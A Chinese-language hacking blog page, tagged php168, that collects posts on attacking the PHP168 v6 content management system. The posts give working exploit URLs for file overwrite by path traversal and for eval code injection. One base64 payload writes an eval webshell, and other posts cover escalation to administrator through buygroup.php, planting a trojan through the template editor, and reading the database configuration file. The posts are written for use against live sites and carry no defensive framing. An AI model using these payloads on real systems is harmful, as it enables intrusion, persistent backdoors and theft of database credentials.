浏览模式: 标准 | 列表Tag:php168

php168v6 getshell 0day

Submitted by admin
2010, November 4, 1:29 PM

php168 v6.0拿shell漏洞

  分两步 第一 do/下jsarticle.php文件
if(!eregi("^(hot|com|new|lastview|like|pic)$",$type)){
        die("类型有误");
}
$FileName=dirname(__FILE__)."/../cache/jsarticle_cache/";
if($type=='like'){
        $FileName.=floor($id/3000)."/";
}else{
        unset($id);
}

$FileName.="{$type}_{$fid}_{$id}.php";
..................
if(!is_dir(dirname($FileName))){
        makepath(dirname($FileName));
}
if( (time()-filemtime($FileName))>($webdb["cache_time_$type"]*60) ){
  write_file($FileName,"<?php \r\n\$show=stripslashes('".addslashes($show)."'); ?>");

                                             //write_file上面覆盖任意php文件!因为id没过滤

}

  第二 do/bencandy.php文件
  require_once(dirname(__FILE__)."/"."global.php");
!$aid && $aid = intval($id);
$id = $aid;
$page<1 && $page=1;

$min=intval($page)-1;
$erp=$Fid_db[iftable][$fid]?$Fid_db[iftable][$fid]:'';
$rsdb=$db->get_one("SELECT R.*,A.* FROM {$pre}article$erp A LEFT JOIN {$pre}reply$erp R ON A.aid=R.aid WHERE A.aid=$aid ORDER BY R.topic DESC,R.orderid ASC LIMIT $min,1");

if(!$rsdb){
        showerr("数据不存在!");
}elseif($fid!=$rsdb[fid]){
        showerr("FID有误");
}

if(!$jobs&&$webdb[bencandy_cache_time]&&(time()-filemtime($Cache_FileName))>($webdb[bencandy_cache_time]*60)){
       
        if(!is_dir(dirname($Cache_FileName))){
                makepath(dirname($Cache_FileName));
        }
        $content.="<SCRIPT LANGUAGE='JavaScript' src='$webdb[www_url]/do/job.php?job=updatehits&aid=$id'></SCRIPT>";
        write_file($Cache_FileName,$content);      //注意这里写文件了
}elseif($jobs=='show'){
        @unlink($Cache_FileName);
}
到这里大概问题也差不多搞清楚了,我们看下$content,其实它是作过初始化的,往上看可以看到require(PHP168_PATH."inc/foot.php");这样一句,初始化就在这里,我们利用第一个问题,覆盖这文件里的内容,接下来我们就可以直接提交$content变量注入shell代码了!

       利用:
      do/jsarticle.php?type=like&id=xhming/../../../../inc/foot
      do/bencandy.php?fid=4&id=582&content=<?system($xhming);phpinfo()?>
      cache/bencandy_cache/0/582_1.php   //记住id值,由于有缓存和时间的判断每一步要等会

 

from:tools

Tags: php168

PHP168 V6.02整站系统远程执行任意代码漏洞

Submitted by admin
2010, September 11, 2:34 PM

author:Luc1f3r
blog:http://hi.baidu.com/luc1f3r_

 

漏洞出在inc/function.inc.php里面.get_html_url()这个函数.


function get_html_url(){

global $rsdb,$aid,$fidDB,$webdb,$fid,$page,$showHtml_Type,$Html_Type;

$id=$aid;

if($page<1){

  $page=1;

}

$postdb[posttime]=$rsdb[posttime];



if($showHtml_Type[bencandy][$id]){

  $filename_b=$showHtml_Type[bencandy][$id];

}elseif($fidDB[bencandy_html]){

  $filename_b=$fidDB[bencandy_html];

}else{

  $filename_b=$webdb[bencandy_filename];

}

//对于内容页的首页把$page去除

if($page==1){

  $filename_b=preg_replace("/(.*)(-{\\\$page}|_{\\\$page})(.*)/is","\\1\\3",$filename_b);

}

$dirid=floor($aid/1000);

//对于内容页的栏目小于1000篇文章时,把DIR分目录去除

if($dirid==0){

  $filename_b=preg_replace("/(.*)(-{\\\$dirid}|_{\\\$dirid})(.*)/is","\\1\\3",$filename_b);

}

if(strstr($filename_b,'$time_')){

  $time_Y=date("Y",$postdb[posttime]);

  $time_y=date("y",$postdb[posttime]);

  $time_m=date("m",$postdb[posttime]);

  $time_d=date("d",$postdb[posttime]);

  $time_W=date("W",$postdb[posttime]);

  $time_H=date("H",$postdb[posttime]);

  $time_i=date("i",$postdb[posttime]);

  $time_s=date("s",$postdb[posttime]);

}

if($fidDB[list_html]){

  $filename_l=$fidDB[list_html];

}else{

  $filename_l=$webdb[list_filename];

}

if($page==1){

  if($webdb[DefaultIndexHtml]==1){

   $filename_l=preg_replace("/(.*)\/([^\/]+)/is","\\1/index.html",$filename_l);

  }else{

   $filename_l=preg_replace("/(.*)\/([^\/]+)/is","\\1/index.htm",$filename_l);

  }

}

eval("\$array[_showurl]=\"$filename_b\";");

eval("\$array[_listurl]=\"$filename_l\";");

//自定义了栏目域名

if($Html_Type[domain][$fid]&&$Html_Type[domain_dir][$fid]){

  $rule=str_replace("/","\/",$Html_Type[domain_dir][$fid]);

  $filename_b=preg_replace("/^$rule/is","{$Html_Type[domain][$fid]}/",$filename_b);

  $filename_l=preg_replace("/^$rule/is","{$Html_Type[domain][$fid]}/",$filename_l);

  //特别处理一下些自定义内容页文件名的情况.

  if(!eregi("^http:\/\/",$filename_b)){

   $filename_b="$webdb[www_url]/$filename_b";

  }

}else{

  $filename_b="$webdb[www_url]/$filename_b";

  $filename_l="$webdb[www_url]/$filename_l";

}

eval("\$array[showurl]=\"$filename_b\";");

eval("\$array[listurl]=\"$filename_l\";");

return $array;

}


当$showHtml_Type这个数组存在时,赋值$filename_b为$showHtml_Type[bencandy][$id].跟一下这个get_html_url()函数.

在member/post.php中:


if(!$aid&&!$rid){

$aid=$id;

}

if($rid)

{

if(!$aid){

  showerr("aid不存在!");

}

$erp=get_id_table($aid);

//修改主题或修改多页都可

$rsdb=$db->get_one("SELECT R.*,A.* FROM {$pre}article$erp A LEFT JOIN {$pre}reply$erp R ON A.aid=R.aid WHERE R.rid='$rid'");

$aid=$rsdb[aid];

$fid=$rsdb[fid];

$mid=$rsdb[mid];

}

elseif($aid)

{

$erp=get_id_table($aid);

//只能是修改主题/续发文章

$rsdb=$db->get_one("SELECT R.*,A.* FROM {$pre}article$erp A LEFT JOIN {$pre}reply$erp R ON A.aid=R.aid WHERE A.aid='$aid' ORDER BY R.rid ASC LIMIT 1");

isset($fid) || $fid=$rsdb[fid];

$mid=$rsdb[mid];

}

//让用户选择栏目

if((!$fid&&!$only)||$jobs=="choose")

{

$sortdb=array();

if( $webdb[sortNUM]>500||$fid ){

  $rows=100;

  $page<1 && $page=1;

  $min=($page-1)*$rows;

  $showpage=getpage("{$pre}sort","WHERE fup='$fid'","?lfj=$lfj&job=$job&jobs=$jobs&only=$only&mid=$mid&fid=$fid",$rows);

  $query = $db->query("SELECT * FROM {$pre}sort WHERE fup='$fid' ORDER BY list DESC,fid ASC LIMIT $min,$rows");

  while($rs = $db->fetch_array($query)){

   $rs[post]=$rs[NUM]=$rs[do_art]='';

   $detail_admin=@explode(",",$rs[admin]);

   $detail_allowpost=@explode(",",$rs[allowpost]);

   if(!$rs[type]&&( $web_admin||($lfjid&&@in_array($lfjid,$detail_admin))||@in_array($groupdb['gid'],$detail_allowpost) ))

   {

    $erp=$Fid_db[iftable][$rs[fid]];

    $_rs=$db->get_one("SELECT COUNT(*) AS NUM FROM {$pre}article$erp WHERE fid='$rs[fid]' AND uid='$lfjuid'");

    if($_rs[NUM]&&$lfjid){

     $rs[NUM]="( <b>{$_rs[NUM]}</b> )";

     $rs[do_art]="<A HREF='myarticle.php?job=myarticle&fid=$rs[fid]' class='manage_article'>管理</A>";

    }

    $rs[post]="<A HREF='?job=postnew&fid=$rs[fid]' class='post_article'>发表</A>";

    $allowpost++;

   }

   $sortdb[]=$rs;

  }

  if($fid){

   $show_guide="<A HREF='?lfj=$lfj&jobs=$jobs&job=$job&only=$only&mid=$mid'>返回顶级目录</A> ".list_sort_guide($fid);

  }

}else{  

  list_post_allsort();

  if(!$allowpost){

   showerr("你所在用户组无权发表文章",1);

  }

}

$MSG="请选择一个栏目投稿";

require(dirname(__FILE__)."/"."head.php");

require(dirname(__FILE__)."/"."template/post_set.htm");

require(dirname(__FILE__)."/"."foot.php");

exit;

}

if($fid||$step){

$fidDB=$db->get_one("SELECT * FROM {$pre}sort WHERE fid='$fid'");

!$fidDB && showerr("栏目有误");

$fidDB[type]!=0 && showerr("你只能选择子栏目发表内容!");

}

$job=='postnew' && !$mid && $mid=$fidDB[fmid];

if($lfjid&&@in_array($lfjid,explode(',',$fidDB[admin])))

{

$web_admin=1;

}

if($fidDB&&!$web_admin&&!in_array($groupdb[gid],explode(',',$fidDB[allowpost])))

{

showerr("你所在用户组无权在本栏目“{$fidDB[name]}”有任何操作");

}

if(!$lfjid&&$job!='postnew')

{

showerr("游客无权操作");

}

$atc_power=0;

if($lfjid)

{

if($web_admin||$lfjuid==$rsdb[uid]){

  $atc_power=1;

}

}

$uid=isset($rsdb[uid])?$rsdb[uid]:$lfjuid;

if($job=='endHTML')

{

$htmlurldb=get_html_url();

//首页生成静态

@unlink(PHP168_PATH."index.htm.bak");

rename(PHP168_PATH."index.htm",PHP168_PATH."index.htm.bak");

refreshto("myarticle.php?job=myarticle&mid=$mid&only=$only","<CENTER>[<A HREF='?job=postnew&fid=$fid&mid=$mid&only=$only'>发表新主题</A>] [<A HREF='?job=post_more&aid=$aid&mid=$mid&only=$only'>续发本主题</A>] [<A HREF='myarticle.php?job=myarticle&fid=$fid&mid=$mid&only=$only'>返回文章列表</A>] [<A HREF='{$htmlurldb[showurl]}' target=_blank>查看文章</A>] [<A HREF='?job=manage&aid=$aid&mid=$mid&only=$only'>修改文章</A>]</CENTER>",60);

}

当only或者fid不等于0时,且job等于"endHTML"时,执行函数.由于$showHtml_Type数组和$aid是可以由我们赋值的,所以漏洞产生.


先注册一个会员,登陆后在地址栏提交:

http://URL/member/post.php?only=1&showHtml_Type[bencandy][1]={${phpinfo()}}&aid=1&job=endHTML

可以看到执行了phpinfo().
 
==========
 
http://URL/member/post.php?only=1&showHtml_Type[bencandy][1]={${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))}}&aid=1&job=endHTML
在根目录生成C.PHP密码是C
Tags: php168

刚一不小心拿下一个php168 v6.02的站

Submitted by admin
2010, May 7, 3:19 PM

刚一刀城朋友发信息来说没有后台用户名密码怎么帮我
额 这个其实很简单 只要自己随便注册一个账户 然后利用 /buygroup.php?job=buy&gid=3 这句话就可以把自己提权成管理员
然后用这个帐号进入后台即可,具体的就不多说了

然后找到 功能中心---模版设置----增加系统模版页 

模板保存路径: 这里以php结尾命名

名字随便写
 
模板HTML代码: 这里写入你的木马内容

点击提交即可
 
shell地址:www.xxx.com/template/_default/sesdf.php 

当然 这只是其中我找到的一种方法,应该还有的,求大牛赐教

FROM:http://forum.daokers.com/read.php?tid=2155

Tags: php168

php168 v6.0拿shell漏洞

Submitted by admin
2009, December 18, 10:14 AM

by:mr_xhming
分两步 第一 do/下jsarticle.php文件
if(!eregi("^(hot|com|new|lastview|like|pic)$",$type)){
die("类型有误");
}
$FileName=dirname(__FILE__)."/../cache/jsarticle_cache/";
if($type==’like’){
$FileName.=floor($id/3000)."/";
}else{
unset($id);
}

$FileName.="{$type}_{$fid}_{$id}.php";
..................
if(!is_dir(dirname($FileName))){
makepath(dirname($FileName));
}
if( (time()-filemtime($FileName))>($webdb["cache_time_$type"]*60) ){
write_file($FileName,"");

//write_file上面覆盖任意php文件!因为id没过滤

}

第二 do/bencandy.php文件
require_once(dirname(__FILE__)."/"."global.php");
!$aid && $aid = intval($id);
$id = $aid;
$page<1 && $page=1;

$min=intval($page)-1;
$erp=$Fid_db[iftable][$fid]?$Fid_db[iftable][$fid]:’’;
$rsdb=$db->get_one("Select R.*,A.* FROM {$pre}article$erp A LEFT JOIN {$pre}reply$erp R ON A.aid=R.aid Where A.aid=$aid orDER BY R.topic DESC,R.orderid ASC LIMIT $min,1");

if(!$rsdb){
showerr("数据不存在!");
}elseif($fid!=$rsdb[fid]){
showerr("FID有误");
}
........................
$Cache_FileName=PHP168_PATH."cache/bencandy_cache/".floor($id/3000)."/{$id}_{$page}.php";
if(!$jobs&&$webdb[bencandy_cache_time]&&(time()-filemtime($Cache_FileName))<($webdb[bencandy_cache_time]*60)){
echo read_file($Cache_FileName);
exit;
}
..................................

if(!$jobs&&$webdb[bencandy_cache_time]&&(time()-filemtime($Cache_FileName))>($webdb[bencandy_cache_time]*60)){

if(!is_dir(dirname($Cache_FileName))){
makepath(dirname($Cache_FileName));
}
$content.=" ";
write_file($Cache_FileName,$content); //注意这里写文件了
}elseif($jobs==’show’){
@unlink($Cache_FileName);
}
到这里大概问题也差不多搞清楚了,我们看下$content,其实它是作过初始化的,往上可以看到require(PHP168_PATH."inc/foot.php");这样一句,初始化就在这里,我们利用第一个问题,覆盖这文件里的内容,接下来我们就可以直接提交$content变量注入shell代码了!

利用:
do/jsarticle.php?type=like&id=xhming/../../../../inc/foot
do/bencandy.php?fid=4&id=582&content=
cache/bencandy_cache/0/582_1.php //记住id值,由于有缓存和时间的判断每一步要等会

Tags: php168

PHP168后台查看/修改任意文件漏洞

Submitted by admin
2009, November 6, 3:38 PM

漏洞信息:
影响程序:PHP168所有带模板编辑的版本
作者:esnra
发布于:http://www.3hack.com/
利用条件:有权限进入后台
利用方法:
进入功能中心,找到风格/模板设置,选风格管理



右击图标:
 


选择
复制链接地址(在Firefox中)

得到地址,如:

复制内容到剪贴板
代码:
http://www.3hack.com/后台目录/index.php?lfj=style&job=editcode&keywords=default&filename=head.htm

在IE里面复制不到,属性显示的是图片的连接地址

之后将head.htm换成../../php168/mysql_config.php(同理可以换成其他的文件路径)

访问(注意,最好用火狐访问,YES!u用IE访问,访问不了,会卡出后台)

即可看到mysql_config.php的内容!



适用条件:
无修改权限,网站文件权限是0755(可运行)
而你不管怎么传shell,都是没有运行权限的
这时候如果查看MYSQL信息,或许有一个root在等着你

Tags: php168